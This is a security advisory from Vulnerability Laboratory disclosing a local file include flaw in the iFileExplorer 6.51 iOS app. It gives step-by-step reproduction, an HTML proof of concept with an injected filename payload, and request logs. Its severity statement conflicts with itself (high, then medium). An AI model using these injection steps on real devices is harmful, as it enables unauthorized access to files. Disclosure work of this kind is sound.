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iFileExplorer 6.51 File Inclusion

iFileExplorer 6.51 File Inclusion
Posted Oct 27, 2014
Authored by Katharina S.L., Vulnerability Laboratory | Site vulnerability-lab.com

iFileExplorer version 6.51 suffers from a local file inclusion vulnerability.

tags | exploit, local, file inclusion
SHA-256 | 6a7264570706b9ef983a5bb3527fcbfd5eecaf9de9496bbac0bdc7e315ac69c7

iFileExplorer 6.51 File Inclusion

Change Mirror Download
Document Title:
iFileExplorer v6.51 iOS - File Include Web Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
Do you find it frustrating not being able to use your iPhone to freely transfer files? Would you like to be able to view your
documents and pictures more easily? Are there some files you’d prefer to keep private? Do you want to upload videos or music
to your iPhone via WIFI? iFileExplorer can help you solve these problems! It can transform your iPhone into a file manager,
enabling you to view all your files on your iPhone!

(Copy of the Homepage: https://itunes.apple.com/us/app/ifileexplorer/id355253462 )

Abstract Advisory Information:
The Vulnerability Laboratory Research team discovered a local file include web vulnerability via sync in the official iFileExplorer v6.51 iOS mobile application.

Vulnerability Disclosure Timeline:
2014-10-20: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
Product: iFileExplorer - iOS Mobile Web Application 6.51

Exploitation Technique:

Severity Level:

Technical Details & Description:
A local file include web vulnerability has been discovered in the official iFileExplorer v6.51 iOS mobile web-application.
The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific
path commands to compromise the mobile web-application.

The vulnerability is located in the foldername and filename values if the wifi interface module. Local attackers are able to manipulate the
wifi web interface by usage of the vulnerable sync function. The sync does not encode or parse the context on add of a folders or files.
Local attacker are able to manipulate the input of the files and folder to exploit the issue by the sync method of the web-application.
The execution of únauthorized local file or path request occurs in the index file dir listing module of the ifileexplorer application.
The request method to inject is sync and the attack vector is located on the application-side of the affected service.

The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.1.
Exploitation of the file include web vulnerability requires no user interaction or privileged web-application user account. Successful exploitation
of the local file include web vulnerability results in mobile application or connected device component compromise.

Vulnerable Method(s):
[+] [Sync]

Vulnerable Module(s):
[+] Add Function & Rename

Vulnerable Parameter(s):
[+] foldername
[+] filename

Affected Module(s):
[+] iFileExplorer Wifi Interface - Path Dir Listing

Proof of Concept (PoC):
The local file include web vulnerability can be exploited by local attackers with low privileged application user account without user interaction by a sync.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

1. Install the ios app and start the app after the install (https://itunes.apple.com/us/app/ifileexplorer/id355253462)
2. Open the wifi symbole in the first app sidebar category
3. Inject your own payload by usage of the `my files` section
Note: Include as Filename or Foldername your own payload to unauhtorized request the local file or device path
4. Sync after the add and open the wifi web interface of the application
5. The local index of the interface requests the path listing unauthorized the file- and foldername
6. Successful reproduce of the local security vulnerability!

PoC: iFileExplorer Index - File Manager

<tbody><tr><td class="rowTitle" align="left" bgcolor="#E3E9FF">Other</td></tr>
<tr><td align="left" bgcolor="#FFFFFF">
<table bgcolor="#FFFFFF" border="0" bordercolor="#FFFFFF" cellpadding="0" cellspacing="0">
<td align="center" bgcolor="#FFFFFF" height="142" width="110">
<table bgcolor="#FFFFFF" border="0" bordercolor="#FFFFFF" cellpadding="0" cellspacing="0"><tbody><tr>
<td align="center" bgcolor="#FFFFFF" height="110" valign="buttom" width="110">
<a href=".bkm337"><img src="x">%20<iframe src="a">%20<iframe>png">
<img src=".bkm337"><./[LOCAL FILE INECLUDE WEB VULNERABILITY!].png?act=getico" width="90" height="90" border="0"></a></td></tr>
<tr><td width="110" height="16" align="center" valign="top" bgcolor="#FFFFFF">.bkm3...</td></tr>
<tr><td width="110" height="16" valign="top" bgcolor="#FFFFFF">
<div align="center"><p class="font1">
<button onclick="onDelete('.bkm337"><./[LOCAL FILE INECLUDE WEB VULNERABILITY!].png?act=delete');" value="">Delete</button></p></div></td></tr>

--- PoC Session Logs (GET) [Execution] ---
Status: 200[OK]
GET http://localhost:8080/./[LOCAL FILE INECLUDE WEB VULNERABILITY!] Load Flags[VALIDATE_ALWAYS ] Größe des Inhalts[-1] Mime Type[application/x-unknown-content-type]
Request Header:
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
Accept-Encoding[gzip, deflate]

- Response
Status: 200[OK]
GET http://localhost:8080/./[LOCAL FILE INECLUDE WEB VULNERABILITY!] Load Flags[LOAD_DOCUMENT_URI ] Größe des Inhalts[-1] Mime Type[application/x-unknown-content-type]
Request Header:
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
Accept-Encoding[gzip, deflate]

Solution - Fix & Patch:
The vulnerability can be patched by a secure restriction of the add file/folder and rename input fields.
After the restriction the input and output needs to be encoded by a secure mechanism to prevent the execution itself.

Security Risk:
The security risk of the local file include web vulnerability in the filename and foldername sync function is estimated as medium.

Credits & Authors:
Vulnerability Laboratory [Research Team] - Katharin S. L. (CH) (research@vulnerability-lab.com) [www.vulnerability-lab.com]

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.

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